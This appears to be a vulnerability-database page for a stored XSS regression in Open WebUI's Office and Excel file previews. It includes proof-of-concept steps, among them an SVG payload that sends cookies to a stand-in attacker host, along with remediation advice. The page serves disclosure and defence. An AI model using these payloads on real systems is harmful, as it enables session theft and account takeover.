Open WebUI CVE-2026-45318
MEDIUMSeverity by source
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Lifecycle Timeline
3DescriptionGitHub Advisory
Related advisory
This advisory tracks a regression of the original Excel-preview XSS that was publicly disclosed and patched under GHSA-jwf8-pv5p-vhmc (patched in v0.8.0). The same root cause - XLSX.utils.sheet_to_html() output rendered via {@html excelHtml} without DOMPurify - was reintroduced sometime after v0.8.0 and is exploitable again as of v0.8.12 and through the version range listed above. This advisory additionally covers the related fileOfficeHtml sink in src/lib/components/chat/FileNav.svelte (lines 458 and 1285) which was not part of the jwf8 advisory's scope.
Summary
Open WebUI renders user-uploaded Office files (Excel, DOCX) as HTML using Svelte's {@html} directive without DOMPurify sanitization. While the codebase has DOMPurify available and uses it in 9 out of 23 {@html} locations (39%), three file-preview rendering paths bypass it entirely, allowing Stored XSS when a user uploads a malicious document.
This is a classic defense propagation failure: the sanitization primitive exists in the codebase but is not consistently applied to all rendering surfaces.
Root Cause
The defense primitive exists: DOMPurify.sanitize() is imported and used in components like General.svelte, MarkdownInlineTokens.svelte, Banner.svelte, and SVGPanZoom.svelte.
But 3 file-preview paths skip it:
Occurrence 1: FilePreview.svelte - Office HTML
File: src/lib/components/chat/FileNav/FilePreview.svelte line 324
{:else if fileOfficeHtml !== null}
<div class="office-preview overflow-auto flex-1 min-h-0">
{@html fileOfficeHtml} <!-- NO DOMPurify! -->
</div>fileOfficeHtml is generated from user-uploaded Office files (PPT, DOC, etc.) converted to HTML. The HTML is rendered directly without sanitization.
Occurrence 2: FileItemModal.svelte - Excel HTML
File: src/lib/components/common/FileItemModal.svelte line 560
{@html excelHtml} <!-- NO DOMPurify! -->excelHtml is generated from user-uploaded Excel files converted to HTML tables. No sanitization applied.
Occurrence 3: FileItemModal.svelte - DOCX HTML
File: src/lib/components/common/FileItemModal.svelte line 590
{@html docxHtml} <!-- NO DOMPurify! -->docxHtml is generated from user-uploaded DOCX files converted to HTML. No sanitization applied.
Contrast with Sanitized Paths
For comparison, the same codebase correctly sanitizes in other locations:
<!-- MarkdownInlineTokens.svelte:130 - SAFE -->
{@html DOMPurify.sanitize(token.text, { ADD_ATTR: ['target'] })}
<!-- General.svelte:276 - SAFE -->
{@html DOMPurify.sanitize($config?.license_metadata?.html)}
<!-- Banner.svelte:103 - SAFE -->
{@html DOMPurify.sanitize(marked.parse(...))}Defense Propagation Gap
| Metric | Value |
|---|---|
Total {@html} usages | 23 |
| With DOMPurify | 9 (39%) |
| Without DOMPurify | 14 (61%) |
| Confirmed exploitable (file preview) | 3 |
The remaining 11 unsanitized {@html} usages include syntax highlighting (hljs), KaTeX math rendering, and marked.parse() with sanitizeResponseContent() pre-processing - these have varying levels of inherent safety but still represent inconsistent defense application.
Tested Version
- Open WebUI v0.8.12 (commit
9bd8425, tagv0.8.12)
Steps to Reproduce
PoC 1: Malicious Excel File
- Create a
.xlsxfile with a cell containing:
<img src=x onerror="alert(document.cookie)">(Using a library like openpyxl to inject raw HTML into cell values)
- Upload the file to Open WebUI via the chat file upload
- When any user previews the file →
excelHtmlrenders the injected HTML → XSS fires
PoC 2: Malicious DOCX File
- Create a
.docxfile with embedded HTML:
<w:r><w:t><![CDATA[<svg onload="fetch('https://attacker.com/steal?c='+document.cookie)">]]></w:t></w:r>- Upload to Open WebUI
- File preview renders
docxHtml→ XSS fires
PoC 3: Verify Rendering Path
// In browser devtools on Open WebUI, after uploading a file:
// The file preview component renders:
// FileItemModal → {@html excelHtml} // no DOMPurify
// FileItemModal → {@html docxHtml} // no DOMPurify
// FilePreview → {@html fileOfficeHtml} // no DOMPurify
// Compare with safe path:
// NotebookView → {@html DOMPurify.sanitize(toStr(output.data['text/html']))} // sanitized!Impact
- Stored XSS - malicious file is stored server-side, XSS fires for every user who previews it
- Session hijacking via
document.cookietheft - Account takeover - attacker can perform actions as the victim user
- Data exfiltration - read chat history, API keys, uploaded documents
- Multi-user environments - shared Open WebUI instances are especially vulnerable (one malicious upload affects all viewers)
- Defense propagation failure - DOMPurify is available and used elsewhere, but not applied to file preview paths
Suggested Remediation
Apply DOMPurify to all three file preview paths:
<!-- FilePreview.svelte:324 - FIX -->
{@html DOMPurify.sanitize(fileOfficeHtml)}
<!-- FileItemModal.svelte:560 - FIX -->
{@html DOMPurify.sanitize(excelHtml)}
<!-- FileItemModal.svelte:590 - FIX -->
{@html DOMPurify.sanitize(docxHtml)}Alternatively, adopt a defense-by-default pattern: create a wrapper component that always applies DOMPurify, making unsanitized {@html} usage a code review flag.
References
- CWE-79: Improper Neutralization of Input During Web Page Generation (XSS)
- OWASP XSS Prevention Cheat Sheet
- GHSA-x75g-rp99-qqpx: Previous Open WebUI report (DNS rebinding TOCTOU, different vulnerability class)
AnalysisAI
Stored cross-site scripting (XSS) in Open WebUI versions up to 0.9.2 allows authenticated users to upload malicious Office files (Excel, DOCX, PPT) that execute arbitrary JavaScript in the browsers of any user previewing the file. The vulnerability stems from rendering user-supplied HTML from file-preview components using Svelte's {@html} directive without DOMPurify sanitization, despite DOMPurify being available and correctly applied in 39% of the codebase's other rendering locations. This is a regression of a previously patched vulnerability (GHSA-jwf8-pv5p-vhmc) that was fixed in v0.8.0 but reintroduced after that release.
Technical ContextAI
Open WebUI uses server-side libraries to convert uploaded Office documents (XLSX, DOCX, PPT) to HTML for in-browser preview. The conversion output (excelHtml, docxHtml, fileOfficeHtml) is passed directly to Svelte's {@html} directive in three components: FilePreview.svelte (line 324), FileItemModal.svelte (lines 560 and 590). Svelte's {@html} renders strings as raw HTML without encoding, and without explicit sanitization via DOMPurify.sanitize(), any embedded JavaScript payloads (e.g., <img onerror>, <svg onload>, <iframe srcdoc>) execute in the rendering user's context. The root cause is a defense propagation failure: DOMPurify is imported and correctly used in 9 of 23 {@html} locations (39%) in components like MarkdownInlineTokens.svelte, General.svelte, and Banner.svelte, but the three file-preview code paths were not covered, either through oversight or incomplete remediation of the prior GHSA-jwf8-pv5p-vhmc fix. CWE-79 (Improper Neutralization of Input During Web Page Generation) classifies this as a classic stored XSS due to user-controllable HTML being rendered without escaping or sanitization.
RemediationAI
Vendor-released patch: upgrade to Open WebUI v0.9.3 or later. The fix applies DOMPurify.sanitize() to all three unsanitized file-preview rendering paths: FilePreview.svelte line 324, FileItemModal.svelte lines 560 and 590. If immediate upgrade is not possible, implement compensating controls: (1) disable Office file preview entirely by removing or restricting file upload functionality to non-executable formats (plain text, PDF), though this reduces user experience; (2) restrict file upload permissions to trusted users only via role-based access control, reducing exposure surface but not eliminating risk from malicious insiders; (3) implement Content Security Policy (CSP) headers prohibiting inline script execution (script-src with no 'unsafe-inline') to mitigate XSS execution even if HTML is rendered unsanitized, though CSP is a defense-in-depth layer and does not replace proper input sanitization; (4) deploy Web Application Firewall (WAF) rules to detect and block uploads containing embedded JavaScript payloads in Office file content. Each control has trade-offs: disabling previews impacts usability, role restrictions require administrative overhead, CSP may break legitimate functionality if scripts are inline, and WAF signatures require maintenance. The primary remediation is immediate patching to v0.9.3 from the GitHub release at https://github.com/open-webui/open-webui/releases/tag/v0.9.3.
Same weakness CWE-79 – Cross-site Scripting (XSS)
View allShare
External POC / Exploit Code
Leaving vuln.today
GHSA-hcwp-82g6-8wxc